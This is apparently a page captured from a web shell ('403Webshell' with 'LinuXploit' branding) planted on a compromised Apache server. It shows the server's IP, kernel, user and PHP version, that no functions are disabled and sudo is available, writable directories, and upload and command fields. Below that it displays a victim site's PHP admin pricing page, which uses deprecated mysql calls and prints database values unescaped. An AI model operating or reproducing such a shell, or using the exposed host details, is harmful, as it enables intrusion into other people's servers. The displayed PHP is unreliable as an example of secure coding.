403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/designerclone/xfcadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/designerclone/xfcadmin/adm.settings.custom.php
<?php
include('adm.config.php');

//if($userDetails->xfcadmin < 9) { die("under construction!"); }

include('adm.header.php');

//$get = @mysql_query("SELECT * FROM cms_models WHERE model_id = '".$userDetails->model_id."'");
//$model_info = @mysql_fetch_object($get);

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['customContentType']) && is_numeric($_POST['customContentType'])) {
	$customContentType = $_POST['customContentType'];
} elseif(isset($_GET['type']) && is_numeric($_GET['type'])) {
	$customContentType = $_GET['type']; //VIDEOS
} else {
	die("no type");	
}

if($customContentType == 1) {
	$customContentTypeTXT = "Photoset";	
} elseif($customContentType == 2) {
	$customContentTypeTXT = "Video";	
} else {
	die("bad type");	
}


if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['customContentType']) && is_numeric($_POST['customContentType'])) {
	if($userDetails->model_id != $_POST['modelID']) {
		die("session jump!");
	}
	
	$clearSettings = @mysql_query("DELETE FROM cms_custom_options_models WHERE modelID = '".$userDetails->model_id."' AND optionID IN (SELECT optionID FROM cms_custom_options WHERE contentType = '".$customContentType."')");
	
	$clearSettings2 = @mysql_query("DELETE FROM cms_custom_options_models WHERE modelID = '".$userDetails->model_id."' AND optionID IN (SELECT optionID FROM cms_custom_options WHERE contentType = '0')");

	$customOptions = @mysql_query("SELECT * FROM cms_custom_options WHERE contentType = '".$customContentType."'");
	while ($row = @mysql_fetch_object($customOptions)) {
		$postVar = 'opt' . $row->optionID;
		$postTogVar = 'togopt' . $row->optionID;
		
		if (isset($_POST[$postVar]) && is_numeric($_POST[$postVar]) && $_POST[$postVar] > 0) {
			$settingPrice = number_format($_POST[$postVar], 2, '.', '');
		} else {
			$settingPrice = number_format(0, 2, '.', '');
		}
		
		if (isset($_POST[$postTogVar]) && $_POST[$postTogVar] == 'on') {
			$modelStatus = 1;
		} else {
			$modelStatus = 0;
		}
		
		if($settingPrice > 0 || $modelStatus > 0) {
			$insert = @mysql_query("INSERT INTO cms_custom_options_models SET modelID = '".$userDetails->model_id."', modelStatus = '".$modelStatus."', settingPrice = '".$settingPrice."', optionID = '".$row->optionID."'");
		}
		
	}
	
	$customOptions2 = @mysql_query("SELECT * FROM cms_custom_options WHERE contentType = '0'");
	while ($row = @mysql_fetch_object($customOptions2)) {
		$postVar = 'opt' . $row->optionID;
		$postTogVar = 'togopt' . $row->optionID;
		
		if (isset($_POST[$postVar]) && is_numeric($_POST[$postVar]) && $_POST[$postVar] > 0) {
			$settingPrice = number_format($_POST[$postVar], 2, '.', '');
		} else {
			$settingPrice = number_format(0, 2, '.', '');
		}
		
		if (isset($_POST[$postTogVar]) && $_POST[$postTogVar] == 'on') {
			$modelStatus = 1;
		} else {
			$modelStatus = 0;
		}
		
		if($settingPrice > 0 || $modelStatus > 0) {
			$insert = @mysql_query("INSERT INTO cms_custom_options_models SET modelID = '".$userDetails->model_id."', modelStatus = '".$modelStatus."', settingPrice = '".$settingPrice."', optionID = '".$row->optionID."'");
		}
		
	}
	
	header('Location: adm.settings.custom.php?type='.$customContentType);
	die();
}

$customOptions = @mysql_query("SELECT * FROM cms_custom_options WHERE contentType = '".$customContentType."' AND optionType = '1'");
$customCategories = @mysql_query("SELECT * FROM cms_custom_options WHERE contentType = '".$customContentType."' AND optionType = '2'");
$customDeliveries = @mysql_query("SELECT * FROM cms_custom_options WHERE contentType = '0' AND optionType = '3'");
?>
<h3>Set Custom <?php echo $customContentTypeTXT; ?> Pricing</h3>

<?php modelNav(); ?>
<br /><br />
<h5>Base Prices<br /><small>Base prices need to be set for the Custom forms to show on your model page.</small></h5>
<form action="adm.settings.custom.php" method="POST" class="form-horizontal">
<div class="form-group">
    <label class="col-lg-4 control-label">Description</label>
    <label class="col-lg-1 control-label">Enable</label>
    <label class="col-lg-2 control-label">Base Price</label>
</div>
<?php
while ($row = @mysql_fetch_object($customOptions)) {
	$check = @mysql_query("SELECT * FROM cms_custom_options_models WHERE modelID = '".$userDetails->model_id."' AND optionID = '".$row->optionID."'");
	$details = @mysql_fetch_object($check);
?>
<div class="form-group">
    <label class="col-lg-4 control-label"><?php echo $row->optionDescription; ?>:</label>
    <div class="col-lg-1"><input type="checkbox"<?php if(isset($details->modelStatus) && $details->modelStatus == 1) { echo " checked"; } ?> class="toggleCheck form-control" name="togopt<?php echo $row->optionID; ?>" id="togopt<?php echo $row->optionID; ?>"></div>
    <div class="col-lg-2"><input type="text" class="form-control" id="opt<?php echo $row->optionID; ?>" name="opt<?php echo $row->optionID; ?>"<?php if(isset($details->settingPrice)) { echo " value=\"" . $details->settingPrice . "\""; } ?> placeholder="0.00"></div>
</div>
<?php
}
?>
  <div class="form-group">
    <div class="col-sm-offset-4 col-sm-10">
      <button type="submit" class="btn btn-default">     Save Settings     </button>
    </div>
  </div>
<br /><br />
<h5>Extra cost per delivery type<br /><small>Standard is 14 days, at no additional charge.</small></h5>
<div class="form-group">
    <label class="col-lg-4 control-label">Description</label>
    <label class="col-lg-1 control-label">Enable</label>
    <label class="col-lg-2 control-label">Extra (+Base Price)</label>
</div>
<?php
while ($row = @mysql_fetch_object($customDeliveries)) {
	$check = @mysql_query("SELECT * FROM cms_custom_options_models WHERE modelID = '".$userDetails->model_id."' AND optionID = '".$row->optionID."'");
	$details = @mysql_fetch_object($check);		
?>
<div class="form-group">
	<label class="col-lg-4 control-label"><?php echo $row->optionDescription; ?>:</label>
    <div class="col-lg-1"><input type="checkbox"<?php if(isset($details->modelStatus) && $details->modelStatus == 1) { echo " checked"; } ?> class="toggleCheck form-control" name="togopt<?php echo $row->optionID; ?>" id="togopt<?php echo $row->optionID; ?>"></div>
    <div class="col-lg-2"><input type="text" class="form-control" id="opt<?php echo $row->optionID; ?>" name="opt<?php echo $row->optionID; ?>"<?php if(isset($details->settingPrice)) { echo " value=\"" . $details->settingPrice . "\""; } ?> placeholder="0.00"></div>
</div>
<?php
}
?>   

  <div class="form-group">
    <div class="col-sm-offset-4 col-sm-10">
      <button type="submit" class="btn btn-default">     Save Settings     </button>
    </div>
  </div>  
<br /><br />
<h5>Extra cost per category<br /></h5>
<div class="form-group">
    <label class="col-lg-4 control-label">Description</label>
    <label class="col-lg-1 control-label">Enable</label>
    <label class="col-lg-2 control-label">Extra (+Base Price)</label>
</div>
<?php
while ($row = @mysql_fetch_object($customCategories)) {
	$check = @mysql_query("SELECT * FROM cms_custom_options_models WHERE modelID = '".$userDetails->model_id."' AND optionID = '".$row->optionID."'");
	$details = @mysql_fetch_object($check);		
?>
<div class="form-group">
	<label class="col-lg-4 control-label"><?php echo $row->optionDescription; ?>:</label>
    <div class="col-lg-1"><input type="checkbox"<?php if(isset($details->modelStatus) && $details->modelStatus == 1) { echo " checked"; } ?> class="toggleCheck form-control" name="togopt<?php echo $row->optionID; ?>" id="togopt<?php echo $row->optionID; ?>"></div>
    <div class="col-lg-2"><input type="text" class="form-control" id="opt<?php echo $row->optionID; ?>" name="opt<?php echo $row->optionID; ?>"<?php if(isset($details->settingPrice)) { echo " value=\"" . $details->settingPrice . "\""; } ?> placeholder="0.00"></div>
</div>
<?php
}
?>   

  <div class="form-group">
    <div class="col-sm-offset-4 col-sm-10">
      <button type="submit" class="btn btn-default">     Save Settings     </button>
    </div>
  </div>
  <input type="hidden" name="modelID" value="<?php echo $userDetails->model_id; ?>">
  <input type="hidden" name="customContentType" value="<?php echo $customContentType; ?>">
</form>



    
    
<?php
include('adm.footer.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit